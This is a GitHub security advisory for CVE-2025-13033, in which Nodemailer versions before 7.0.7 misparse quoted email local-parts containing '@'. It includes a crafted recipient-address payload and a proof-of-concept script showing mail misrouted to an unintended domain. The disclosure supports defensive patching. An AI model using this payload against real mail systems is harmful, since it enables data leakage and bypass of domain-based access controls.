GitHub Advisoryadvisory · npm

GHSA-mm7p-fcc7-pg87 Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

MEDIUM Published 2025-10-07 Modified 2025-11-17 Official page ↗
Aliases
CVE-2025-13033
Ecosystem
npm
Packages
nodemailer
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-20, CWE-436
Reviewed
2025-10-07

Affected packages

• npm nodemailer: < 7.0.7 → fixed in 7.0.7

Description

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target. Payload: `"[email protected] x"@internal.domain` Using the following code to send mail ``` const nodemailer = require("nodemailer"); let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, }); let mailOptions = { from: '"Test Sender" ', to: "\"[email protected] x\"@internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", }; transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId); }); (async () => { const parser = await import("@sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */); if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; } console.log("Parsed email:", { address: `${parsed.localPart}@${parsed.domain}`, local: parsed.localPart, domain: parsed.domain, }); })(); ``` Running the script and seeing how this mail is parsed according to RFC ``` Parsed email: { address: '"[email protected] x"@internal.domain', local: '"[email protected] x"', domain: 'internal.domain' } ``` But the email is sent to `[email protected]` Impact: • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com. • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts. • Potential compliance issue: Violates RFC 5321/5322 parsing rules. • Domain based access control bypass in downstream applications using your library to send mails Recommendations • Fix parser to correctly treat quoted local-parts per RFC 5321/5322. • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

Related

Alias · CVE (1)

  • CVE-2025-13033 A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. vulnerability

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-436 Interpretation Conflict weakness

References